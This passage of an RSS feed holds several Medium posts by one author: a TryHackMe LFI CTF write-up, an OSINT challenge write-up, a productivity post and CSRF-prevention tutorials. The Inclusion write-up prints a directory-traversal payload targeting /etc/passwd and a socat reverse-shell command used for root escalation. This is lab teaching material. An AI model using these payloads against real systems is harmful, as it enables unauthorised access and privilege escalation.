src="https://cdn-images-1.medium.com/max/1024/1*9IkV64P_lyqBPhzyHQ7g9w.png" /></figure><p>In a web or mobile application, the following options are available to set up 2FA ;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TEMpsRQUYijw4RJ98FOpXw.png" /></figure><p>In here, the 2nd factor of authentication could be any of these,</p><ol><li>A One Time Passcode (OTP) sent over SMS or a phone call.</li><li>A code generated by any authenticators<em>(</em><a href="https://www.microsoft.com/en-us/account/authenticator"><em>Microsoft Authenticator App</em></a><em>, </em><a href="https://play.google.com/store/apps/details?id=com.google.android.apps.authenticator2&amp;hl=en"><em>Google Authenticator</em></a><em>, </em><a href="https://authy.com/"><em>Authy</em></a><em>)</em></li><li>Hardware tokens <em>(</em><a href="https://www.yubico.com/"><em>Yubikey</em></a><em>, </em><a href="https://cloud.google.com/titan-security-key"><em>Google Titan</em></a><em>)</em></li></ol><p>The user has can set up multiple factors (MFA) in case they do not have access to one of them. For successful authentication, the user credentials and the available 2nd Factor are required.</p><h3>Conclusion</h3><p>MFA intents to make an attack more difficult because attackers need to compromise both factors. Besides, an Out-of-band method enhances the challenge. Usually, the second factor can notify a user of an attack; if you receive an OTP over SMS, you would instantly know your password has been compromised and someone is trying to access your account. Then, you can instantly change your password.</p><p>Therefore, immediately enable 2FA on all of your online accounts. Reputable organisations have websites that provide this feature. If they don’t, you should seriously reconsider that website’s security!</p><p>Thanks for reading. Is there anything I missed? Please let me know!</p><p><a href="https://twitter.com/swsjona">JavaScript is not available.</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1f9655b3327d" width="1" height="1" alt=""><hr><p><a href="https://medium.com/the-padlock/problem-with-passwords-1f9655b3327d">Problem With Passwords</a> was originally published in <a href="https://medium.com/the-padlock">The Padlock</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Inclusion Writeup]]></title>
            <link>https://medium.com/the-padlock/inclusion-writeup-c268e6e55b5e?source=rss-bce1c321e919------2</link>
            <guid isPermaLink="false">https://medium.com/p/c268e6e55b5e</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[writeup]]></category>
            <dc:creator><![CDATA[Sajeth Jonathan]]></dc:creator>
            <pubDate>Sun, 10 May 2020 13:32:08 GMT</pubDate>
            <atom:updated>2021-03-15T19:42:21.515Z</atom:updated>
            <content:encoded><![CDATA[<h4>A beginner-friendly writeup on TryHackMe’s Inclusion challenge.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gQf29szPu8HWZfT2j_Y31g.jpeg" /></figure><h3>Introduction</h3><p>This challenge on <a href="http://tryhackme.com/">TryHackme.com</a> focuses on Local File Inclusion attack. Local File Inclusion is when the attacker tricks the web application into exposing or running files on the webserver.</p><p><a href="https://tryhackme.com/room/inclusion">TryHackMe | Inclusion</a></p><h3>Resources used</h3><ul><li>Nmap</li><li>GTFObins</li><li>Kali VM</li></ul><h3>Enumeration</h3><p>The first and foremost step in any attack is an enumeration. So, gather data about the services running using a <strong>Nmap</strong> scan.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vBbnNzlrWnrjTmcrLwpAHA.png" /></figure><p>From the scan results, we can derive that 2 services are running:</p><ul><li>SSH</li><li>HTTP</li></ul><h3>Web Recon</h3><p>Let’s poke at the Webserver and see it’s contents.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lz_5puETh578Qv7KK2z8SA.png" /></figure><p>It seems to be a blog. Explore it and see if anything is interesting to focus on.</p><h3>Local File Inclusion</h3><p>The pages take in a parameter to the server to display the webpage. Tampering this may disclose files in the webserver causing an LFI attack if the application does not whitelist which files can be included.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L9k1gvPaPhBunYtVpTf5mg.png" /></figure><p>Common files to look for :</p><ul><li>/etc/passwd — View usernames of all users on a system</li><li>/etc/shadow — View hashed passwords of all users on the system</li><li>/etc/hosts — View other devices the webserver is communicating with.</li></ul><p>and so much more if you’re clever.</p><p><strong>You can combine this with Directory traversal to access the file you want.</strong></p><pre>&gt;&gt; website.com/article?name=../../../etc/passwd</pre><p>The passwd file has been exposed. In this, we can observe the users present in the system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P42HW2_OwI8bUY6lp92Q6A.png" /></figure><p>There is a user named <em>falconfeast.</em> The interesting part is that there is a comment which possibly seems like a username and password. Keep in mind, this is a very rare occasion of having the password in the comment, which I believe is deliberately has been done by the creator of the room. After all this room is to understand the basics of LFI.</p><h3>Entering the Web Server</h3><p>Let’s assess the situation.</p><ul><li>There are a username and password available</li><li>There is an SSH present in the webserver</li></ul><p>So, the next step is to try logging in to the server using SSH.</p><pre>&gt;&gt; ssh falconfeast@rootpassword</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1nJKlG5-ZKMYRcC_r2rN3Q.png" /></figure><p>After logging in the directory has a user.txt file that contains the <strong><em>user flag!</em></strong></p><p>Observing the placement of the user.txt, it would be safe to assume the root flag would be in /root folder.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UNkJLM6U7P8ChC7cQAHD0w.png" /></figure><p>Unfortunately, neither the privilege cannot be escalated nor the /root folder can be accessed directly. But, have a look at the command allowed for <em>falconfeast</em> using :</p><pre>&gt;&gt; sudo -l</pre><p>It mentions that the user is allowed to run /usr/bin/socat as root with no password required.</p><blockquote><em>Socat is a command-line based utility that establishes two bidirectional byte streams and transfers data between them.</em></blockquote><p>To learn how this can be abused, check <a href="https://gtfobins.github.io/">GTFOBins</a>.</p><blockquote><em>GTFOBins is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions.</em></blockquote><p>From that, it is confirmed that a <a href="https://gtfobins.github.io/gtfobins/socat/">reverse shell</a> is possible.</p><h3>Abusing Socat</h3><p>On your machine run:</p><pre>&gt;&gt; socat file:`tty`,raw,echo=0 tcp-listen:12345</pre><p>And on the LFI machine, run :</p><pre>&gt;&gt; RHOST= &lt;your ip address&gt; <br>&gt;&gt; RPORT=12345<br>&gt;&gt; socat tcp-connect:$RHOST:$RPORT exec:sh,pty,stderr,setsid,sigint,sane</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EkkEVlSdWC8RYTE3gOCpVA.png" /></figure><p>Once you run the command on the LFI machine, the reverse shell must have been successfully created and you can access the machine as <em>root</em>.</p><p>To confirm it, run:</p><pre>&gt;&gt; id  #this would print the real and effective user and group IDs.</pre><p>Then move into /root folder and list out the items in it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ReLSpjO6uJ25ww85s8ntmw.png" /></figure><p>The root.txt is present here with the <strong><em>root flag!</em></strong><em> (Now you can pat yourself :p )</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/740/1*21m2wEFPuyOjO3mGiAOGuQ.png" /></figure><h3>The Unintentional Way</h3><p>There is another easy way to read the user and root flag, but I don’t think it was the intended way but I would still love to share it.</p><p>The flags can be accessed directly through the URL if you are familiar with the location of the flags.</p><h4>User Flag</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/726/1*ljvTu2aE9pc3WT4CbP14gw.png" /></figure><h4>Root Flag</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*pjiETJ0_t5M87V1cptB1_g.png" /></figure><h3>Final Thoughts</h3><p>This room is not only a good experience for anyone looking to learn about LFI but also introduces the concept of privilege escalation using Unix Binaries and reverse shells.</p><p>I will be trying other rooms at TryHackMe and posting my writeups too. So watch out this space for more awesome content.</p><p>If you like my content, let me know on Twitter.</p><p><a href="https://twitter.com/swsjona">JavaScript is not available.</a></p><h4><strong>Further Reading</strong></h4><p><a href="https://www.acunetix.com/blog/articles/local-file-inclusion-lfi/">What is Local File Inclusion (LFI)? | Acunetix</a></p><p><a href="https://blog.tryhackme.com/lfi/">Local File Inclusion</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c268e6e55b5e" width="1" height="1" alt=""><hr><p><a href="https://medium.com/the-padlock/inclusion-writeup-c268e6e55b5e">Inclusion Writeup</a> was originally published in <a href="https://medium.com/the-padlock">The Padlock</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OSINT? More like OhSINT!]]></title>
            <link>https://medium.com/the-padlock/osint-more-like-ohsint-c7825c951ee5?source=rss-bce1c321e919------2</link>
            <guid isPermaLink="false">https://medium.com/p/c7825c951ee5</guid>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Sajeth Jonathan]]></dc:creator>
            <pubDate>Tue, 31 Mar 2020 08:21:12 GMT</pubDate>
            <atom:updated>2020-05-10T13:32:07.481Z</atom:updated>
            <content:encoded><![CDATA[<h4>A beginner-friendly writeup on TryHackMe’s OhSINT challenge.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0d-Y_6yV3YVanQh07guu7w.png" /></figure><h3>Introduction</h3><p>The OhSINT room on <a href="http://tryhackme.com/">TryHackMe.com</a> focuses on finding information from a regular. JPG image and then escalate to discover critical data using OSINT (Open-Source Intelligence). This is a good hands-on experience for beginners who are looking to explore OSINT, Penetration Testing and Bug Bounties.</p><p>Room URL: <a href="https://tryhackme.com/room/ohsint">https://tryhackme.com/room/ohsint</a></p><h3>Resources Used</h3><ul><li>ExifTool [<a href="https://www.poftut.com/how-to-install-and-use-exiftool-in-linux-windows-kali-ubuntu-mint-with-examples/">https://www.poftut.com/how-to-install-and-use-exiftool-in-linux-windows-kali-ubuntu-mint-with-examples/</a>]</li><li><a href="http://wigle.net/">Wigle.net</a></li><li>Kali VM</li></ul><h3>WriteUp</h3><p>The challenge provides an image to be downloaded. Opening the image in an image viewer does not reveal anything special. A quick to-do when exploring images is to check for its metadata.</p><h3>What is Metadata?</h3><p>Image metadata is text information related to an image file that is usually attached to the file. It includes details relevant to the image. This attached information can be EXIF files, IPTC files, 8BIM files or ICC files.</p><p>EXIF files hold dozens of details that can be valuable to an OSINT investigator. It can have information such as,</p><ul><li>when the picture was taken,</li><li>where it was taken,</li><li>the shutter speed,</li><li>the owner of the image,</li></ul><p>and so on.</p><h3>Exploring EXIF data</h3><p>Simply, the EXIF data can be observed by checking out the Properties of the Image and navigating to the Details Panel.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/484/1*0fJkqGi4KLmrnxlmKiU1SQ.png" /></figure><p>This provides trivial information but does not paint the complete picture. More can be dug up using <strong>ExifTool.</strong> Exiftool is a powerful command-line application for reading, writing and editing meta information in a wide variety of files.</p><p>Let’s observe the image with ExifTool.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/888/1*bYkJkUEwEpfDTi2QiBgtZQ.png" /></figure><p>Aha! It is clear that someone holds the copyright on this image, OWoodflint. It hints to be a username. The next step is to find if there is any information on the internet about “OWoodflint”. Investigation continues!</p><h3>Google Dorking</h3><p>Query “OWoodflint” on google or any search engine and try to gather meaningful data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/920/1*841zZG4ARUtbjSJC5Sebyw.png" /></figure><p>3 leads have been discovered connected to this username. The Twitter account reveals the answer to the 1st question of the challenge. The user’s avatar is a <strong>cat</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*gaWVdzrPxgF8cuqYWhYaWw.png" /></figure><p>The next question asks for the user’s city. Examining the twitter account does not reveal anything about a location. Is that right? Look again.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/601/1*iXvT47b4yzsDFEGtb-Hb9A.png" /></figure><h3>Identifying WAPs</h3><p>BSSID is a unique address given to a Wireless Access Point (WAP) to recognize it. It is similar to a MAC address on a PC. Lucky for us, there are websites for collecting information about the different wireless hotspots around the world. These hotspots can be identified using SSID, GPS coordinates and BSSID</p><blockquote><em>To use </em><a href="http://wigle.net/"><em>wigle.net</em></a><em>, an account should be created.</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hzQumrTmuiYApshgtsl9Ow.png" /></figure><p>Searching for OWoodflint’s BSSID points us to the user’s location which is <strong>London</strong>. Another question solved!</p><p>The 3rd question asks us for the SSID. SSID is a customizable name given to a WAP. Zooming in on the marker discloses the SSID of OWoodflint’s WiFi as <strong>UnileverWiFi.</strong></p><h3>Further Investigation</h3><p>It’s time to explore the other search results (i.e the GitHub page and the Blog). The user’s personal email address can be found in the <a href="http://readme.md/">README.md</a> file in their GitHub repository.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/980/1*oZh6tDLKcLkpmXs0mFIX5g.png" /></figure><p>The next task is to find out this user’s holiday location. Conveniently, the user has disclosed this in their blog.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/761/1*T4iCtyHAYdO2UbV8sSO8ig.png" /></figure><p>I hope they had a great experience in <strong>New York</strong>. The final task is to find OWoodflint’s password. It is a bit trickier. After going through the pages, again and again, searching endlessly for the password, it was placed in a basic location; the blog’s source code!</p><p>Press F12 and inspect the source code of the blog. A weird pattern of text appears, and that is the password. To the user’s defense, it qualifies as a good password but sadly placed at the wrong location. Seriously, OWoodflint, use a password manager!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/707/1*iObRPVqv4vxMlHy7s3iCKA.png" /></figure><h3>Final Thoughts</h3><p>As I mentioned at the start, this room is perfect for beginners looking to up their game at OSINT. I will be trying other rooms at TryHackMe and posting my writeups too. So watch out this space for more awesome content.</p><p>If you like my content, let me know on Twitter,</p><p><a href="https://twitter.com/swsjona">JavaScript is not available.</a></p><p><strong>Further reading on terms and concepts mentioned in my writeup.</strong></p><ul><li><a href="https://www.keycdn.com/blog/image-metadata">An Overview of Image Metadata — How It Affects Web Performance and Security — KeyCDN</a></li><li><a href="https://www.speedcheck.org/wiki/bssid/#service-set-identifier-(ssid)">What is BSSID?</a></li><li><a href="https://en.wikipedia.org/wiki/WiGLE">WiGLE</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c7825c951ee5" width="1" height="1" alt=""><hr><p><a href="https://medium.com/the-padlock/osint-more-like-ohsint-c7825c951ee5">OSINT? More like OhSINT!</a> was originally published in <a href="https://medium.com/the-padlock">The Padlock</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Do More With Less Time]]></title>
            <link>https://sajethjonathan.medium.com/do-more-with-less-time-ba3098e830be?source=rss-bce1c321e919------2</link>
            <guid isPermaLink="false">https://medium.com/p/ba3098e830be</guid>
            <category><![CDATA[time]]></category>
            <category><![CDATA[tips-and-tricks]]></category>
            <category><![CDATA[productivity]]></category>
            <category><![CDATA[time-management]]></category>
            <dc:creator><![CDATA[Sajeth Jonathan]]></dc:creator>
            <pubDate>Thu, 02 Jan 2020 12:15:25 GMT</pubDate>
            <atom:updated>2021-03-05T07:05:41.096Z</atom:updated>
            <content:encoded><![CDATA[<p>We have two types of days. One, in which we have an abundance of free time and wonder how to spend it. The other one, where we are stuck between work, college and our personal life, praying for another hour to be miraculously added to our day so that we can complete our tasks. Maybe this is what Einstein conveyed to us when he theorized that “Time is Relative”. In this post, I will be listing out the methods I have known and used to manage my time. I am not perfect at managing my time, but I have learned a thing or two this year which can bring value to you.</p><p>Nevertheless, I am willing to share with you my experiences and methods, so that it can help you in your journey in managing your time effectively. The methods I will be sharing would not be a complete picture but a gentle push in the right direction.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*vlESK0mbXypGKz0T" /><figcaption>Photo by <a href="https://unsplash.com/@goumbik?utm_source=medium&amp;utm_medium=referral">Lukas Blazek</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><h4>Time, Where are you?</h4><p>While reading this, think of the times where you lost track of time. You have a busy day and in the end, you may not be able to recollect the things you had accomplished for the day. In my opinion, our ancestors started to keep track of time because they realised they could be more productive that way. We keep clocks and watches to keep track of time. Nowadays, we have both analog and digital clocks, and we have it everywhere. But still, we are not able to keep track of it. Time always seems to escape our grasp.</p><h4>Journal</h4><p>Keeping a journal is an effective approach to track your time. This can be done to meet different objectives. You can plan your day, use it as a medium to vent your thoughts or by the end of the day us it as a reflector of your day’s progress.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*naLpGg5mDbHbZX2n" /></figure><p>Do not use any mobile apps to jot down your thoughts. It can be distracting at times clouding your thoughts. Disconnect from the online world when writing your journal, so try to keep your diary.</p><h4>Keeping the essential</h4><p>Social media is a great way to waste time. Admit it! Is it challenging for you to acknowledge it? Cool, then let me confess first. I have wasted so much of my time scrolling through the pointless selfies and stories which at the end of the day, does not mean anything to me <em>(I don’t think I can stop it, help me!). </em>Aha, so I accepted it. Take your time, think about it, and if you feel the same, keep reading. Let’s be honest, it feels <em>good</em>, scrolling through the Instagram Explore page. Not a positive kind of <em>good,</em> but a <em>good</em> which cannot stop you from scrolling. “</p><blockquote>“Social Media is an addiction.” -Random 2K kid</blockquote><p>I know, it is strenuous to stop. How can you ignore the cute dogs and cats, the gorgeous influencers, and most importantly the memes? You might have tried to stop your thumb flowing aimlessly, pushing the screen up, hoping for some content to appear. Ever wondered how do you control it? The truth is, you <strong>cannot</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*4NQoyXxCZU4SbV-B" /></figure><p>Well, at least not completely. It is not your fault, the people behind this have created it to grab people’s attention and it is living up to its purpose. So what can you do? <strong>Keep the essential</strong>. Go through the apps on your phone, review them, find out which of these apps do you need and which of them you can do not need. Do a periodical review (maybe every month or two) and decide on the apps you need, and without an afterthought uninstall the ones which bring no positive purpose to you.</p><p>Let’s say, you cannot survive without Instagram or Facebook. You can uninstall them from your phone, and when you need to go to it, you are forced to log in through your mobile browser <em>(this would be annoying)</em>. After a while, you will check social media less frequently. Another simple trick is to uninstall the apps for a certain period(a couple of weeks or a month). During that period, observe the ways you spend the “saved” time (maybe write them on your journal). Equip this extra time on things that matter to you the most.</p><p>Once you have a considerable period of social media detox, install those apps again and notice if there is any difference on your social media usage!</p><blockquote>Our ancestors did not have clocks but had time, we have clocks but have no time.</blockquote><h4>Organize your time</h4><p>Compare your day to a jar. Throughout the day, you will be filling this jar with <strong>rocks</strong><em>(most important things in your life)</em>, <strong>pebbles </strong><em>(things in your life that matter, but that you could live without) </em>and <strong>sand </strong><em>(remaining filler things in your life, and material possessions)</em>. The order you fill in is crucial. For example, what would happen if you fill it with sand first? Then try adding any of the rest. It simply would not work out. There will no remaining space. The ideal way would be to fill the jar with rocks first, then pebbles, and then with sand to fill up the remaining space. But you do not strictly have to fill it in the<em> ideal </em>order. At times, it is better to have a combination. Read the article below, if you want to explore another take on this concept.</p><p><a href="https://medium.com/@adityakothadiya/another-side-of-the-rocks-pebbles-and-sand-story-9e26a6cc0af">Another Side of The “Rocks, Pebbles, and Sand” Story</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wHISvYuR3i5ENAjyD6CZWQ.jpeg" /></figure><h4>Imagination is powerful</h4><p>Let’s assume you tried all the methods I have told you. Also, you have done your research and come up with various methods to manage your time. As time goes by, you will realize that you are not sticking to these methods effectively. Do not get disheartened, significant people have gone through this phase. Time Management is not affected by the number of articles you read or the number of videos you watch. It distills down to the fact of how effectively you practice it. If you ever think you are wasting time but cannot stop the task you are doing at that time, do this :</p><blockquote>Imagine yourself trying to stop what you are doing at that time. Imagine yourself doing anything productive.</blockquote><p>Sounds silly? Try it anyway, you got nothing to lose. Human imagination is powerful, wonders can be done solely with our thought.</p><h3>Take it slow</h3><p>I’ll leave you with these final thoughts.</p><ol><li>Good things take time.</li><li>Don’t expect miracles in a short period.</li><li>Be consistent, experiment with various time managing methods and find the one which suits you (not every method is going to work for you!).</li><li>It is OKAY to fail. What matters is that you don’t give up.</li><li>Give yourself a break at times. Don’t be a person who is stuck in a routine.</li></ol><p>Good Luck! Kudos to you for trying to be a better person than you were yesterday.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ba3098e830be" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Double Submit Cookie Pattern (DSC)]]></title>
            <link>https://sajethjonathan.medium.com/double-submit-cookie-pattern-dsc-c14254878cf4?source=rss-bce1c321e919------2</link>
            <guid isPermaLink="false">https://medium.com/p/c14254878cf4</guid>
            <category><![CDATA[web-development]]></category>
            <category><![CDATA[csrf]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Sajeth Jonathan]]></dc:creator>
            <pubDate>Sun, 13 Oct 2019 13:45:25 GMT</pubDate>
            <atom:updated>2019-10-13T14:11:24.983Z</atom:updated>
            <content:encoded><![CDATA[<p><em>This is the final part of the series </em><a href="https://medium.com/@sws.jona/introduction-to-cross-site-request-forgery-csrf-87d9873c4fdf"><em>“Introduction to Cross-Site Request Forgery (CSRF)”</em></a><em>.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_Vt3zACOlRsu_PUgd6WxpQ.png" /></figure><h3>Introduction</h3><p>In my <a href="https://medium.com/@sws.jona/synchronizer-token-pattern-stp-755b3085b88">previous</a> blog post, I explained the concepts of Synchronizer Token Pattern and demonstrated the source code to achieve it. In this blog, I will be demonstrating the second prevention method, <em>“Double Submit Cookie Pattern”. </em>This is a stateless method and easy to implement.</p><h3>Let’s Dive Right In</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I8MpaxWc40i7a4yOk7wQSg.jpeg" /></figure><p>In DSC, to ensure the validity of the form submitted the form contains the CSRF token as a hidden value. Any form originated from the legitimate website will always have this CSRF token in its body and compared with Token cookie.</p><p>I have developed this application in HTML,JavaScript and PHP. You can find the source code 👉<a href="https://github.com/N1ghtCrawl3r/csrf-prevention/tree/da60e1a0f9977cd39ca849de0a9004398731addb/DS"><strong><em>here</em></strong></a>👈.</p><blockquote>Note : I have hard coded the username and password.</blockquote><blockquote>Username — user@gmail.com</blockquote><blockquote>Password — yolo</blockquote><h4>Step 1 &amp; Step 2 : The user logs in with valid credentials and Cookies are created</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EgZFjJc6jwvBoRtqjtCBMw.png" /><figcaption>login page</figcaption></figure><p>When the user logs in valid credentials, the server generates a SessionID and a CSRF token (learn how to generate a CSRF token in my <a href="https://medium.com/@sws.jona/synchronizer-token-pattern-stp-755b3085b88"><em>previous</em></a> blog post on STP). Once generates, they are set to Cookies. Therefore, two Cookies are created, one for the SessionID and the other one for the CSRF token.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ugWvgfaOn8YDpjdz97PHBQ.png" /><figcaption>code for user validation and cookie generation in login.php</figcaption></figure><h4>Step 3 &amp; Step 4: The Feedback is requested and sent by the Server as a response</h4><p>When the feedback page is sent as a response, the server also sends the SessionID and the Token Cookies.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MEWfdkxPWNiBogTNBOBssA.png" /><figcaption>feedback page</figcaption></figure><p>Below, it can be observed that there is hidden input with no value in it. This value would be updated once the Token cookie is set.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*66QPWz8_MjbxJr7YMWsTfg.png" /><figcaption>form in feedback.php</figcaption></figure><h4>Step 5: The token is extracted from the Token Cookie</h4><p>To update the value in the hidden input, the token must be extracted from the Token Cookie. This can be achieved with a JavaScript <a href="https://www.w3schools.com/js/js_cookies.asp">snippet</a>, to read a value of a Cookie. Once the token is extracted,it can be updated to the form by modifying the DOM.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qNlALcteCZ4B3uTtBwIV3g.png" /><figcaption>script to extract token in feedback.php</figcaption></figure><h4>Step 6: Submit the form along with the hidden Token</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HcaXLOL4V7bw-s8S5Hnl_A.png" /></figure><p>Using the Developer Tools in Chrome or Firefox, it can be observed that the token value has been updated in the hidden field once the page has been loaded. Now with the form message, it can be sent to the server.</p><h4>Step 7: Validate Form origin</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1022/1*7hbt5TD5mftGknYKHYtUlw.png" /><figcaption>validation code in validate_token.php</figcaption></figure><p>Once the form has been delivered to the Server, it compares the hidden token in the body of the form with the Token Cookie to determine whether the form has been originated from the legitimate website. If it is the same value, it is successfully validated and if they are different, it rejects the request.</p><h4>Conclusion</h4><p>This technique works as long as you are sure that your sub domains are fully secured and only accept HTTPS connections. As said earlier, this is easier method to implement but there are risks involved if the sub domains are not completely secured.</p><p>This would be the last blog in this series. I hope to come up with interesting blogs and write-ups in the future to support the community. For further information about CSRF and it’s mitigation methods, I recommend you to read <a href="https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html"><em>OWASP’s cheat sheet on CSRF prevention</em></a>.</p><p>If you have any questions regarding DSC, feel free to comment below. I will try my best to answer them.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c14254878cf4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Synchronizer Token Pattern (STP)]]></title>
            <link>https://sajethjonathan.medium.com/synchronizer-token-pattern-stp-755b3085b88?source=rss-bce1c321e919------2</link>
            <guid isPermaLink="false">https://medium.com/p/755b3085b88</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[csrf]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[web-development]]></category>
            <dc:creator><![CDATA[Sajeth Jonathan]]></dc:creator>
            <pubDate>Sat, 12 Oct 2019 02:01:02 GMT</pubDate>
            <atom:updated>2019-10-13T14:11:56.562Z</atom:updated>
            <content:encoded><![CDATA[<p><em>This is the second part of the series </em><a href="https://medium.com/@sws.jona/introduction-to-cross-site-request-forgery-csrf-87d9873c4fdf"><em>“Introduction to Cross-Site Request Forgery (CSRF)”</em></a><em>.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wHUZ4sz219GOkbszdDL0dA.png" /></figure><h3>Introduction</h3><p>In my <a href="https://medium.com/@sws.jona/introduction-to-cross-site-request-forgery-csrf-87d9873c4fdf">previous</a> blog post, I explained the concepts of CSRF, its risk and pointed out the prevention strategies. In this blog, I will be demonstrating the first prevention method, <em>“Synchronizer Token Pattern”. </em>Before I begin, let me define some terms and the prerequisite knowledge needed to understand STP.</p><p><strong>Token —</strong> A secret and unique value given for each request to the server</p><p><strong>Ajax — </strong>STP method uses ajax calls to request the Token <em>(it is a simple snippet, so no worries)</em></p><h3>Let’s Dive Right In</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g4ZlnY1KcIJ6V8ws7RPW9Q.png" /><figcaption>Steps in Synchronizer Token Pattern</figcaption></figure><p>The importance concept being STP is the method of validation of a form. Any form originated from the legitimate web page will always have a CSRF token and it will be compared with the token stored at the Server. Therefore, the attack methods I explained in the <a href="https://medium.com/@sws.jona/introduction-to-cross-site-request-forgery-csrf-87d9873c4fdf">earlier</a> blog post will be useless since it does not contain the CSRF token.</p><p>I have developed this application in HTML,JavaScript and PHP. You can find the source code 👉<a href="https://github.com/N1ghtCrawl3r/csrf-prevention/tree/master/Synchronizer"><strong><em>here</em></strong></a>👈.</p><blockquote>Note : I have hardcoded the username and password.</blockquote><blockquote>Username — user@gmail.com</blockquote><blockquote>Password - yolo</blockquote><h4>Step 1 : The user logs in with valid credentials.</h4><figure><img alt="A page with a login portal" src="https://cdn-images-1.medium.com/max/1024/1*EgZFjJc6jwvBoRtqjtCBMw.png" /><figcaption>login page</figcaption></figure><p>When the user logs in with valid credentials, a session id is assigned and the user is sent to the feedback page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2PN5BcgWonwmKds_aXr5_w.png" /><figcaption>credential validation in login.php</figcaption></figure><h4>Step 2: The feedback page is sent as a response</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MEWfdkxPWNiBogTNBOBssA.png" /><figcaption>feedback page</figcaption></figure><p>In the source code below, you can observe that there is a hidden input. But, it’s value is not set. The CSRF token will be set as the value as soon as the response is given to the ajax call.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HUVAB2QUPoQluutLGwdKBg.png" /><figcaption>form in feedback.php</figcaption></figure><h4>Step 3: When the feedback page loads, asynchronously it requests the CSRF token from the server.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JzKxkin1Gkmj4sUa7V6Q8g.png" /><figcaption>ajax call in feedback.php page</figcaption></figure><p>The <a href="https://www.w3schools.com/xml/ajax_xmlhttprequest_create.asp"><strong>XMLHttpRequest</strong> </a>object is used to exchange data with a server behind the scenes.</p><p>To send a request to a server, we use the<strong> </strong><a 